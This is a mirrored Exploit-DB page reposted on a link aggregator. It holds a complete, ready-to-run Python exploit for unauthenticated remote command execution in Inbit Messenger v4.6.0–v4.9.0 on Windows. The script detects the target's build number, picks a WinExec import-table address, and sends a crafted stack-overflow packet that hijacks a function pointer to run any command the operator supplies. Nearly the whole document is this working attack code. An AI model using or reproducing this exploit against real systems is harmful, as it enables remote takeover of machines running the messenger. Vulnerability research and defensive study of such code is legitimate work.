9

[remote] Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)

 1 year ago
source link: https://www.exploit-db.com/exploits/51127
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)

EDB-ID:

51127

EDB Verified:

Author:

a-rey

Type:

remote

Exploit:

  /  

Platform:

Windows

Date:

2023-03-29

Vulnerable App:

# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)
# Date: 11/08/2022
# Exploit Author: a-rey 
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys, socket, struct, string, argparse, logging

BANNER = """\033[0m\033[1;35m
╔══════════════════════════════════════════════════════════════════════════╗
║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║
╚══════════════════════════════════════════════════════════════════════════╝\033[0m
 by: \033[1;36m █████╗      ██████╗ ███████╗██╗   ██╗
     \033[1;36m██╔══██╗     ██╔══██╗██╔════╝██║   ██║
     \033[1;36m███████║ ███ ██████╔╝█████╗   ██╗ ██═╝
     \033[1;36m██╔══██║     ██╔══██╗██╔══╝     ██╔╝  
     \033[1;36m██║  ██║     ██║  ██║███████╗   ██║   
     \033[1;36m╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝   
\033[0m"""

# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number
TARGETS = {
  4601 : 0x005f3360,
  4801 : 0x005f7364,
  4901 : 0x005f7364,
}

# NOTE: min and max values for length of command
CMD_MIN_LEN = 10
CMD_MAX_LEN = 0xfc64

# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow
BAD_BYTES = b"\x3e" # >

def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:
  # NOTE: send packet with client build number of 4601 for v4.6.0
  pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"
  logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  _d = s.recv(1024)
  # find build tag in response
  if b'<c>' not in _d:
    logging.error(f"invalid version packet received: {_d}")
    sys.exit(-1)
  s.close()
  try:
    build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])
  except:
    logging.error(f"failed to parse build number from packet: {_d}")
    sys.exit(-1)
  # get the IAT offset 
  if build not in TARGETS.keys():
    logging.error(f"unexpected build number: {build}")
    sys.exit(-1)
  # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'
  winexec = struct.pack("<I", TARGETS[build] - 0x38)
  logging.success(f"target build number is {build}")
  logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")
  # sanity check for bad bytes in WinExec address
  for c in winexec:
    if c in BAD_BYTES:
      logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")
      sys.exit(-1)
  return winexec

def exploit(targetIp:str, targetPort:int, command:bytes) -> None:
  # NOTE: command must be NULL terminated
  command += b"\x00"
  # check user command length
  if len(command) < CMD_MIN_LEN:
    logging.error(f"command length must be at least {CMD_MIN_LEN} characters")
    sys.exit(-1)
  if len(command) >= CMD_MAX_LEN:
    logging.error(f"command length must be less than {CMD_MAX_LEN} characters")
    sys.exit(-1)
  # get WinExec address
  winexec = getWinExecAddress(targetIp, targetPort)
  # get a string representation of the length of the command data after the <> tag parsed by atol()
  pktLen = str(len(command))
  pkt  = b"<"            # start of XML tag/stack overflow
  pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character
  pkt += b"\x00"         # NULL terminator to force atol to ignore what comes next
  # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()
  pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite
  pkt += winexec                           # indirect function pointer we control
  pkt += b">"                              # end of XML tag/stack overflow
  pkt += command                           # the command set to the call to WinExec()
  logging.info(f"sending payload to {targetIp}:{targetPort} ...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((targetIp, targetPort))
  s.send(pkt)
  s.close()
  logging.success("DONE")

if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-t', '--target',  help='target IP',      type=str, required=True)
  parser.add_argument('-c', '--command', help='command to run', type=str, required=True)
  parser.add_argument('-p', '--port',    help='target port',    type=int, required=False, default=10883)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  print(BANNER)
  # run exploit
  exploit(args.target, args.port, args.command.encode())
            

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK